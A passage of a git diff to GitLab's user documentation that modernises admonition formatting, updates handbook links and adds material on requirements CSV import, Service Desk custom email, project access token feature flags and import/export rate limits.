Once merged, the MR will automatically close the issue.
You can see a **Create merge request** dropdown below the issue description.
-NOTE: **Note:**
+NOTE:
You won't see the **Create merge request** button if there is already a branch with the same
name or a referenced merge request or your project has an active
fork relationship.
diff --git a/doc/user/project/repository/x509_signed_commits/index.md b/doc/user/project/repository/x509_signed_commits/index.md
index 9b420d84f50..639bca0d354 100644
--- a/doc/user/project/repository/x509_signed_commits/index.md
+++ b/doc/user/project/repository/x509_signed_commits/index.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: concepts, howto
---
@@ -28,10 +28,10 @@ For a commit or tag to be *verified* by GitLab:
which is usually up to three years.
- The signing time is equal or later than commit time.
-NOTE: **Note:**
+NOTE:
Certificate revocation lists are checked on a daily basis via background worker.
-NOTE: **Note:**
+NOTE:
Self signed certificates without `authorityKeyIdentifier`,
`subjectKeyIdentifier`, and `crlDistributionPoints` are not supported. We
recommend using certificates from a PKI that are in line with
diff --git a/doc/user/project/requirements/index.md b/doc/user/project/requirements/index.md
index f533f8807d2..9d75c4ab071 100644
--- a/doc/user/project/requirements/index.md
+++ b/doc/user/project/requirements/index.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Plan
group: Certify
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Requirements Management **(ULTIMATE)**
@@ -30,9 +30,11 @@ For an overview, see [GitLab 12.10 Introduces Requirements Management](https://w
A paginated list of requirements is available in each project, and there you
can create a new requirement.
+Users with Reporter or higher [permissions](../../permissions.md) can create requirements.
+
To create a requirement:
-1. From your project page, go to **{requirements}** **Requirements**.
+1. From your project page, go to **Requirements**.
1. Select **New requirement**.
1. Enter a title and description and select **Create requirement**.
@@ -54,8 +56,9 @@ next to the requirement title.
> The ability to mark a requirement as Satisfied [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218607) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.5.
-You can edit a requirement (if you have the necessary privileges) from the requirements
-list page.
+You can edit a requirement from the requirements list page.
+
+Users with Reporter or higher [permissions](../../permissions.md) can edit requirements.
To edit a requirement:
@@ -66,9 +69,11 @@ To edit a requirement:
## Archive a requirement
-You can archive an open requirement (if you have the necessary privileges) while
+You can archive an open requirement while
you're in the **Open** tab.
+Users with Reporter or higher [permissions](../../permissions.md) can archive requirements.
+
To archive a requirement, select **Archive** (**{archive}**).
As soon as a requirement is archived, it no longer appears in the **Open** tab.
@@ -77,6 +82,8 @@ As soon as a requirement is archived, it no longer appears in the **Open** tab.
You can view the list of archived requirements in the **Archived** tab.
+Users with Reporter or higher [permissions](../../permissions.md) can reopen archived requirements.
+
![archived requirements list](img/requirements_archived_list_view_v13_1.png)
To reopen an archived requirement, select **Reopen**.
@@ -94,7 +101,7 @@ You can search for a requirement from the requirements list page based on the fo
To search for a requirement:
-1. In a project, go to **{requirements}** **Requirements > List**.
+1. In a project, go to **Requirements > List**.
1. Select the **Search or filter results** field. A dropdown menu appears.
1. Select the requirement author from the dropdown or enter plain text to search by requirement title.
1. Press <kbd>Enter</kbd> on your keyboard to filter the list.
@@ -188,3 +195,65 @@ requirements_confirmation:
reports:
requirements: tmp/requirements.json
```
+
+## Import requirements from a CSV file
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/246857) in GitLab 13.7.
+
+You can import requirements to a project by uploading a CSV file with the columns
+`title` and `description`.
+
+The user uploading the CSV file will be set as the author of the imported requirements.
+
+Users with Reporter or higher [permissions](../../permissions.md) can import requirements.
+
+### Import the file
+
+Before you import your file:
+
+- Consider importing a test file containing only a few requirements. There is no way to undo a large
+ import without using the GitLab API.
+- Ensure your CSV file meets the [file format](#csv-file-format) requirements.
+
+To import requirements:
+
+1. Navigate to a project's Requirements page.
+ - If the project already has existing requirements, click the import icon (**{import}**) at the
+ top right.
+ - For a project without any requirements, click **Import CSV** in the middle of the page.
+1. Select the file and click **Import requirements**.
+
+The file is processed in the background and a notification email is sent
+to you after the import is complete.
+
+### CSV file format
+
+When importing requirements from a CSV file, it must be formatted in a certain way:
+
+- **Header row:** CSV files must include the following headers:
+ `title` and `description`. The headers are case insensitive.
+- **Columns:** data from columns other than `title` and `description` is not imported.
+- **Separators:** the column separator is automatically detected from the header row.
+ Supported separator characters are: commas (`,`), semicolons (`;`), and tabs (`\t`).
+ The row separator can be either `CRLF` or `LF`.
+- **Double-quote character:** the double-quote (`"`) character is used to quote fields,
+ enabling the use of the column separator in a field (see the third line in the
+ sample CSV data below). To insert a double-quote (`"`) in a quoted
+ field, use two double-quote characters in succession (`""`).
+- **Data rows:** below the header row, succeeding rows must follow the same column
+ order. The title text is required, while the description is optional and can be left empty.
+
+Sample CSV data:
+
+```plaintext
+title,description
+My Requirement Title,My Requirement Description
+Another Title,"A description, with a comma"
+"One More Title","One More Description"
+```
+
+### File size
+
+The limit depends on the configuration value of Max Attachment Size for the GitLab instance.
+
+For GitLab.com, it is set to 10 MB.
diff --git a/doc/user/project/security_dashboard.md b/doc/user/project/security_dashboard.md
index a3da1ec97d3..d9440e8deea 100644
--- a/doc/user/project/security_dashboard.md
+++ b/doc/user/project/security_dashboard.md
@@ -3,3 +3,6 @@ redirect_to: '../application_security/security_dashboard/index.md'
---
This document was moved to [another location](../application_security/security_dashboard/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/service_desk.md b/doc/user/project/service_desk.md
index 34a075df990..4f3ca12c582 100644
--- a/doc/user/project/service_desk.md
+++ b/doc/user/project/service_desk.md
@@ -1,10 +1,10 @@
---
stage: Plan
group: Certify
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Service Desk
+# Service Desk **(CORE)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/149) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.1.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/214839) to [GitLab Starter](https://about.gitlab.com/pricing/) in 13.0.
@@ -59,7 +59,7 @@ users will only see the thread through email.
## Configuring Service Desk
-NOTE: **Note:**
+NOTE:
Service Desk is enabled on GitLab.com.
You can skip step 1 below; you only need to enable it per project.
@@ -76,7 +76,7 @@ Follow these steps to do so:
address's format. The older format is still supported, however, allowing existing aliases or
contacts to continue working.
- DANGER: **Warning:**
+ WARNING:
This email address can be used by anyone to create an issue on this project, whether or not they
have access to your GitLab instance. We recommend **putting this behind an alias** so it can be
changed if needed, and **[enabling Akismet](../../integration/akismet.md)** on your GitLab
@@ -129,10 +129,12 @@ this name in the `From` header. The default display name is `GitLab Support Bot`
### Using custom email address **(CORE ONLY)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2201) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.0.
-
-NOTE: **Note:**
-This feature is disabled by default. For steps to enable it, see [Enable custom email address](#enable-custom-email-address).
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2201) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.0.
+> - It was [deployed behind a feature flag](../feature_flags.md), disabled by default.
+> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/284656) on GitLab 13.7.
+> - It's enabled on GitLab.com.
+> - It's recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#disable-custom-email-address). **(CORE ONLY)**
If the `service_desk_email` feature flag is enabled in your configuration,
then it's possible to create Service Desk issues by sending emails to the
@@ -198,18 +200,27 @@ In this case, suppose the `mygroup/myproject` project Service Desk settings has
suffix set to `support`, and a user sends an email to `project_contact+mygroup-myproject-support@example.com`.
As a result, a new Service Desk issue is created from this email in the `mygroup/myproject` project.
-#### Enable custom email address
+The configuration options are the same as for configuring
+[incoming email](../../administration/incoming_email.md#set-it-up).
+
+#### Disable custom email address **(CORE ONLY)**
+
+Service Desk custom email is under development but ready for production use.
+It is deployed behind a feature flag that is **enabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
+can opt to disable it.
-This feature comes with the `service_desk_custom_address` feature flag disabled by default.
-To turn on the feature, ask a GitLab administrator with Rails console access to run the following
-command:
+To enable it:
```ruby
Feature.enable(:service_desk_custom_address)
```
-The configuration options are the same as for configuring
-[incoming email](../../administration/incoming_email.md#set-it-up).
+To disable it:
+
+```ruby
+Feature.disable(:service_desk_custom_address)
+```
## Using Service Desk
diff --git a/doc/user/project/settings/import_export.md b/doc/user/project/settings/import_export.md
index 3e493f02392..53233cc347e 100644
--- a/doc/user/project/settings/import_export.md
+++ b/doc/user/project/settings/import_export.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Import
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, howto
---
@@ -42,7 +42,7 @@ Note the following:
- Exports are stored in a temporary [shared directory](../../../development/shared_files.md)
and are deleted every 24 hours by a specific worker.
- Group members are exported as project members, as long as the user has
- maintainer or admin access to the group where the exported project lives.
+ maintainer or administrator access to the group where the exported project lives.
- Project members with owner access will be imported as maintainers.
- Imported users can be mapped by their primary email on self-managed instances, if an administrative user (not an owner) does the import.
Otherwise, a supplementary comment is left to mention that the original author and
@@ -51,6 +51,9 @@ Note the following:
then new branches associated with such merge requests will be created
within a project during the import/export. Thus, the number of branches
in the exported project could be bigger than in the original project.
+- Deploy keys allowed to push to protected branches are not exported. Therefore,
+ you will need to recreate this association by first enabling these deploy keys in your
+ imported project and then updating your protected branches accordingly.
## Version history
@@ -114,8 +117,9 @@ The following items will be exported:
- LFS objects
- Issue boards
- Pipelines history
+- Push Rules
-The following items will NOT be exported:
+The following items will **not** be exported:
- Build traces and artifacts
- Container registry images
@@ -123,10 +127,9 @@ The following items will NOT be exported:
- Webhooks
- Any encrypted tokens
- Merge Request Approvers
-- Push Rules
- Awards
-NOTE: **Note:**
+NOTE:
For more details on the specific data persisted in a project export, see the
[`import_export.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/import_export/project/import_export.yml) file.
@@ -170,14 +173,14 @@ To export a project and its data, follow these steps:
1. Click on **Import project** to begin importing. Your newly imported project
page will appear soon.
-NOTE: **Note:**
+NOTE:
If use of the `Internal` visibility level
[is restricted](../../../public_access/public_access.md#restricting-the-use-of-public-or-internal-projects),
all imported projects are given the visibility of `Private`.
-NOTE: **Note:**
+NOTE:
The maximum import file size can be set by the Administrator, default is 50MB.
-As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](../../../api/settings.md#change-application-settings) or the [Admin UI](../../admin_area/settings/account_and_limit_settings.md).
+As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](../../../api/settings.md#change-application-settings) or the [Admin Area UI](../../admin_area/settings/account_and_limit_settings.md).
### Project import status
@@ -188,12 +191,14 @@ As described in the API documentation, the query may return an import error or e
If you have a larger project, consider using a Rake task, as described in our [developer documentation](../../../development/import_project.md#importing-via-a-rake-task).
-## Rate limits
+## Rate Limits
+
+To help avoid abuse, by default, users are rate limited to:
-To help avoid abuse, users are rate limited to:
+| Request Type | Limit |
+| ---------------- | ---------------------------------------- |
+| Export | 6 projects per minute |
+| Download export | 1 download per group per minute |
+| Import | 6 projects per minute |
-| Request Type | Limit |
-| ---------------- | ----------------------------------------- |
-| Export | 30 projects per 5 minutes |
-| Download export | 10 downloads per project every 10 minutes |
-| Import | 30 projects per 5 minutes |
+Please note that GitLab.com may have [different settings](../../gitlab_com/index.md#importexport) from the defaults.
diff --git a/doc/user/project/settings/index.md b/doc/user/project/settings/index.md
index 4b368fc20d6..41f404de4f2 100644
--- a/doc/user/project/settings/index.md
+++ b/doc/user/project/settings/index.md
@@ -1,13 +1,13 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, index, howto
---
# Project settings
-NOTE: **Note:**
+NOTE:
Only project maintainers and administrators have the [permissions](../../permissions.md#project-members-permissions)
to access a project settings.
@@ -31,13 +31,13 @@ The project description also partially supports [standard Markdown](../../markdo
You can select a framework label to identify that your project has certain compliance requirements or needs additional oversight. Available labels include:
-- GDPR - General Data Protection Regulation
-- HIPAA - Health Insurance Portability and Accountability Act
-- PCI-DSS - Payment Card Industry-Data Security Standard
-- SOC 2 - Service Organization Control 2
-- SOX - Sarbanes-Oxley
+- GDPR (General Data Protection Regulation)
+- HIPAA (Health Insurance Portability and Accountability Act)
+- PCI-DSS (Payment Card Industry-Data Security Standard)
+- SOC 2 (Service Organization Control 2)
+- SOX (Sarbanes-Oxley)
-NOTE: **Note:**
+NOTE:
Compliance framework labels do not affect your project settings.
### Sharing and permissions
@@ -52,7 +52,7 @@ If you set **Project Visibility** to public, you can limit access to some featur
to **Only Project Members**. In addition, you can select the option to
[Allow users to request access](../members/index.md#project-membership-and-requesting-access).
-CAUTION: **Caution:**
+WARNING:
If you [reduce a project's visibility level](../../../public_access/public_access.md#reducing-visibility),
that action unlinks all forks of that project.
@@ -68,11 +68,13 @@ Use the switches to enable or disable the following features:
| **Container Registry** | | Activates a [registry](../../packages/container_registry/) for your Docker images |
| **Git Large File Storage** | | Enables the use of [large files](../../../topics/git/lfs/index.md#git-large-file-storage-lfs) |
| **Packages** | | Supports configuration of a [package registry](../../../administration/packages/index.md#gitlab-package-registry-administration) functionality |
+| **Analytics** | ✓ | Enables [analytics](../../analytics/) |
| **Wiki** | ✓ | Enables a separate system for [documentation](../wiki/) |
| **Snippets** | ✓ | Enables [sharing of code and text](../../snippets.md) |
| **Pages** | ✓ | Allows you to [publish static websites](../pages/) |
| **Metrics Dashboard** | ✓ | Control access to [metrics dashboard](../integrations/prometheus.md)
-| **Requirements** | ✓ | Control access to [Requirements Management](../requirements/index.md)
+| **Requirements** | ✓ | Control access to [Requirements Management](../requirements/index.md) |
+| **Operations Dashboard** | ✓ | Control access to [operations dashboard](../../../operations/index.md)
Some features depend on others:
@@ -81,7 +83,7 @@ Some features depend on others:
- **Issue Boards**
- [**Service Desk**](#service-desk)
- NOTE: **Note:**
+ NOTE:
When the **Issues** option is disabled, you can still access **Milestones**
from merge requests.
@@ -186,7 +188,7 @@ Next, to unarchive the project:
#### Renaming a repository
-NOTE: **Note:**
+NOTE:
Only project maintainers and administrators have the [permissions](../../permissions.md#project-members-permissions) to rename a
repository. Not to be confused with a project's name where it can also be
changed from the [general project settings](#general-project-settings).
@@ -198,8 +200,8 @@ To rename a repository:
1. Navigate to your project's **Settings > General**.
1. Under **Advanced**, click **Expand**.
-1. Under "Rename repository", change the "Path" to your liking.
-1. Hit **Rename project**.
+1. Under **Change path**, update the repository's path.
+1. Click **Change path**.
Remember that this can have unintended side effects since everyone with the
old URL won't be able to push or pull. Read more about what happens with the
@@ -207,7 +209,7 @@ old URL won't be able to push or pull. Read more about what happens with the
#### Transferring an existing project into another namespace
-NOTE: **Note:**
+NOTE:
Only project owners and administrators have the [permissions](../../permissions.md#project-members-permissions)
to transfer a project.
@@ -229,13 +231,13 @@ Once done, you will be taken to the new project's namespace. At this point,
read what happens with the
[redirects from the old project to the new one](../index.md#redirects-when-changing-repository-paths).
-NOTE: **Note:**
+NOTE:
GitLab administrators can use the administration interface to move any project to any
namespace if needed.
#### Delete a project
-NOTE: **Note:**
+NOTE:
Only project owners and administrators have [permissions](../../permissions.md#project-members-permissions) to delete a project.
To delete a project:
@@ -253,7 +255,7 @@ to be deleted after a delayed period.
When enabled, actual deletion happens after number of days
specified in [instance settings](../../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay).
-CAUTION: **Warning:**
+WARNING:
The default behavior of [Delayed Project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6 was changed to
[Immediate deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) in GitLab 13.2.
@@ -274,7 +276,7 @@ If you want to use the fork for yourself and don't need to send
[merge requests](../merge_requests/index.md) to the upstream project,
you can safely remove the fork relationship.
-CAUTION: **Caution:**
+WARNING:
Once removed, the fork relationship cannot be restored. You will no longer be able to send merge requests to the source, and if anyone has forked your project, their fork will also lose the relationship.
To do so:
@@ -283,7 +285,7 @@ To do so:
1. Under **Remove fork relationship**, click the likewise-labeled button.
1. Confirm the action by typing the project's path as instructed.
-NOTE: **Note:**
+NOTE:
Only project owners have the [permissions](../../permissions.md#project-members-permissions)
to remove a fork relationship.
diff --git a/doc/user/project/settings/project_access_tokens.md b/doc/user/project/settings/project_access_tokens.md
index 9f8cf2ff41a..494f0b725e3 100644
--- a/doc/user/project/settings/project_access_tokens.md
+++ b/doc/user/project/settings/project_access_tokens.md
@@ -1,20 +1,23 @@
---
stage: Manage
group: Access
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, howto
---
# Project access tokens
-NOTE: **Note:**
-Project access tokens are supported for self-managed instances on Core and above. They are also supported on GitLab.com Bronze and above.
+NOTE:
+Project access tokens are supported for self-managed instances on Core and above. They are also supported on GitLab.com Bronze and above (excluding [trial licenses](https://about.gitlab.com/free-trial/)).
> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2587) in GitLab 13.0.
> - It was [deployed](https://gitlab.com/groups/gitlab-org/-/epics/2587) behind a feature flag, disabled by default.
> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/218722) in GitLab 13.3.
-> - [Became available on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/235765) in 13.5.
> - It's recommended for production use.
+> - [Became available on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/235765) in 13.5 for paid groups only.
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
Project access tokens are scoped to a project and can be used to authenticate with the [GitLab API](../../../api/README.md#personalproject-access-tokens). You can also use project access tokens with Git to authenticate over HTTP.
@@ -69,9 +72,39 @@ the following table.
| Scope | Description |
| ------------------ | ----------- |
-| `api` | Grants complete read/write access to the scoped project API. |
-| `read_api` | Grants read access to the scoped project API. |
+| `api` | Grants complete read/write access to the scoped project API, including the Package Registry](../../packages/package_registry/index.md). |
+| `read_api` | Grants read access to the scoped project API, including the [Package Registry](../../packages/package_registry/index.md). |
| `read_registry` | Allows read-access (pull) to [container registry](../../packages/container_registry/index.md) images if a project is private and authorization is required. |
| `write_registry` | Allows write-access (push) to [container registry](../../packages/container_registry/index.md). |
| `read_repository` | Allows read-only access (pull) to the repository. |
| `write_repository` | Allows read-write access (pull, push) to the repository. |
+
+### Enable or disable project access tokens
+
+Project access tokens are deployed behind a feature flag that is **enabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can disable it for your instance, globally or by project.
+
+To disable it globally:
+
+```ruby
+Feature.disable(:resource_access_token)
+```
+
+To disable it for a specific project:
+
+```ruby
+Feature.disable(:resource_access_token, project)
+```
+
+To enable it globally:
+
+```ruby
+Feature.enable(:resource_access_token)
+```
+
+To enable it for a specific project:
+
+```ruby
+Feature.enable(:resource_access_token, project)
+```
diff --git a/doc/user/project/slash_commands.md b/doc/user/project/slash_commands.md
index 1280524bc9b..5844861c91e 100644
--- a/doc/user/project/slash_commands.md
+++ b/doc/user/project/slash_commands.md
@@ -3,3 +3,6 @@ redirect_to: 'quick_actions.md'
---
This document was moved to [user/project/quick_actions.md](quick_actions.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/static_site_editor/index.md b/doc/user/project/static_site_editor/index.md
index c2d4c77a469..07f122a7828 100644
--- a/doc/user/project/static_site_editor/index.md
+++ b/doc/user/project/static_site_editor/index.md
@@ -1,7 +1,7 @@
---
stage: Create
-group: Static Site Editor
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+group: Editor
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, how-to
description: "The static site editor enables users to edit content on static websites without prior knowledge of the underlying templating language, site architecture or Git commands."
---
@@ -11,6 +11,7 @@ description: "The static site editor enables users to edit content on static web
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28758) in GitLab 12.10.
> - WYSIWYG editor [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214559) in GitLab 13.0.
> - Non-Markdown content blocks uneditable on the WYSIWYG mode [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216836) in GitLab 13.3.
+> - Formatting Markdown [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49052) in GitLab 13.7.
Static Site Editor (SSE) enables users to edit content on static websites without
prior knowledge of the underlying templating language, site architecture, or
@@ -53,10 +54,16 @@ click of a button:
![Static Site Editor](img/wysiwyg_editor_v13_3.png)
-When an editor submits their changes, in the background, GitLab automatically
-creates a new branch, commits their changes, and opens a merge request. The
-editor lands directly on the merge request, and then they can assign it to
-a colleague for review.
+When an editor submits their changes, these are the following actions that GitLab
+performs automatically in the background:
+
+1. Creates a new branch.
+1. Commits their changes.
+ 1. Fixes formatting according to the [Handbook Markdown Style Guide](https://about.gitlab.com/handbook/markdown-guide/)
+ style guide and add them through another commit.
+1. Opens a merge request against the default branch.
+
+The editor can then navigate to the merge request to assign it to a colleague for review.
## Set up your project
@@ -162,7 +169,7 @@ title, layout template, or author, but can be used to pass any kind of metadata
generator as the page renders out to HTML. Included at the very top of each data file, the
front matter is often formatted as YAML or JSON and requires consistent and accurate syntax.
-To edit the front matter from the Static Site Editor you can use the GitLab's regular file editor,
+To edit the front matter from the Static Site Editor you can use the GitLab regular file editor,
the Web IDE, or easily update the data directly from the WYSIWYG editor:
1. Click the **Page settings** button on the bottom-right to reveal a web form with the data you
diff --git a/doc/user/project/status_page/index.md b/doc/user/project/status_page/index.md
index 20bb23f1d6b..513c410a6f9 100644
--- a/doc/user/project/status_page/index.md
+++ b/doc/user/project/status_page/index.md
@@ -3,3 +3,6 @@ redirect_to: '../../../operations/incident_management/status_page.md'
---
This document was moved to [status_page.md](../../../operations/incident_management/status_page.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/time_tracking.md b/doc/user/project/time_tracking.md
index b88e1ed2d37..c94795578ef 100644
--- a/doc/user/project/time_tracking.md
+++ b/doc/user/project/time_tracking.md
@@ -3,7 +3,7 @@ type: reference
disqus_identifier: 'https://docs.gitlab.com/ee/workflow/time_tracking.html'
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Time Tracking
@@ -49,7 +49,7 @@ you need to enter an estimate of 3 days, 5 hours and 10 minutes, you would write
`/estimate 3d 5h 10m`. Time units that we support are listed at the bottom of
this help page.
-Every time you enter a new time estimate, any previous time estimates will be
+Every time you enter a new time estimate, any previous time estimates are
overridden by this new value. There should only be one valid estimate in an
issue or a merge request.
@@ -59,12 +59,12 @@ To remove an estimation entirely, use `/remove_estimate`.
To enter a time spent, use `/spend 3d 5h 10m`.
-Every new time spent entry will be added to the current total time spent for the
+Every new time spent entry is added to the current total time spent for the
issue or the merge request.
-You can remove time by entering a negative amount: `/spend -3d` will remove 3
+You can remove time by entering a negative amount: for example, `/spend -3d` removes three
days from the total time spent. You can't go below 0 minutes of time spent,
-so GitLab will automatically reset the time spent if you remove a larger amount
+so GitLab automatically resets the time spent if you remove a larger amount
of time compared to the time that was entered already.
To remove all the time spent at once, use `/remove_time_spent`.
diff --git a/doc/user/project/web_ide/img/solarized_light_theme_v13_0.png b/doc/user/project/web_ide/img/solarized_light_theme_v13_0.png
index b4b14f1fc7f..6257d78d29e 100644
--- a/doc/user/project/web_ide/img/solarized_light_theme_v13_0.png
+++ b/doc/user/project/web_ide/img/solarized_light_theme_v13_0.png
Binary files differ
diff --git a/doc/user/project/web_ide/index.md b/doc/user/project/web_ide/index.md
index 2b9db1c952d..29b24028e48 100644
--- a/doc/user/project/web_ide/index.md
+++ b/doc/user/project/web_ide/index.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Editor
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, how-to
---
@@ -66,7 +66,7 @@ Monaco uses the [Monarch](https://microsoft.github.io/monaco-editor/monarch.html
If you are missing Syntax Highlighting support for any language, we prepared a short guide on how to [add support for a missing language Syntax Highlighting.](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/javascripts/ide/lib/languages/README.md)
-NOTE: **Note:**
+NOTE:
Single file editing is based on the [Ace Editor](https://ace.c9.io).
### Themes
@@ -262,8 +262,8 @@ quickly share your project with others.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/268288) in GitLab 12.9, third-party assets and libraries required for Live Preview are hosted at `https://sandbox-prod.gitlab-static.net` when it is enabled. However, some libraries are still served from other third-party services which may or may not be desirable in your environment.
-The Live Preview feature needs to be enabled in the GitLab instances
-admin settings. Live Preview is enabled for all projects on
+The Live Preview feature needs to be enabled in the GitLab instance's
+Admin Area. Live Preview is enabled for all projects on
GitLab.com
![Administrator Live Preview setting](img/admin_live_preview_v13_0.png)
@@ -286,9 +286,9 @@ below.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5426) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.6.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/211685) to GitLab Core in 13.1.
-CAUTION: **Warning:**
+WARNING:
Interactive Web Terminals for the Web IDE is currently in **Beta**.
-Shared runners [do not yet support Interactive Web Terminals](https://gitlab.com/gitlab-org/gitlab/-/issues/24674),
+GitLab.com shared runners [do not yet support Interactive Web Terminals](https://gitlab.com/gitlab-org/gitlab/-/issues/24674),
so you would need to use your own private runner to make use of this feature.
[Interactive Web Terminals](../../../ci/interactive_web_terminal/index.md)
@@ -313,7 +313,7 @@ terminal blocks the job from finishing for the duration configured in
[`[session_server].session_timeout`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-session_server-section)
until you close the terminal window.
-NOTE: **Note:**
+NOTE:
Not all executors are
[supported](https://docs.gitlab.com/runner/executors/#compatibility-chart).
The [File Sync](#file-syncing-to-web-terminal) feature is supported on Kubernetes runners only.
@@ -394,7 +394,7 @@ File changes in the Web IDE can be synced to a running web terminal.
This enables users to test their code changes in a preconfigured terminal
environment.
-NOTE: **Note:**
+NOTE:
Only file changes in the Web IDE are synced to the terminal.
Changes made in the terminal are **not** synced to the Web IDE.
This feature is only available for Kubernetes runners.
diff --git a/doc/user/project/wiki/index.md b/doc/user/project/wiki/index.md
index e082e091dec..7802f2ba95e 100644
--- a/doc/user/project/wiki/index.md
+++ b/doc/user/project/wiki/index.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Knowledge
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, how-to
---
@@ -34,7 +34,7 @@ message.
## Creating a new wiki page
-NOTE: **Note:**
+NOTE:
Requires Developer [permissions](../../permissions.md).
Create a new page by clicking the **New page** button that can be found
@@ -64,7 +64,7 @@ When you're ready, click the **Create page** and the new page will be created.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/33475) in GitLab 11.3.
-Starting with GitLab 11.3, any file that is uploaded to the wiki via GitLab's
+Starting with GitLab 11.3, any file that is uploaded to the wiki via the GitLab
interface will be stored in the wiki Git repository, and it will be available
if you clone the wiki repository locally. All uploaded files prior to GitLab
11.3 are stored in GitLab itself. If you want them to be part of the wiki's Git
@@ -208,7 +208,7 @@ On the project's Wiki page, there is a right side navigation that renders the fu
To customize the sidebar, you can create a file named `_sidebar` to fully replace the default navigation.
-CAUTION: **Warning:**
+WARNING:
Unless you link the `_sidebar` file from your custom nav, to edit it you'll have to access it directly
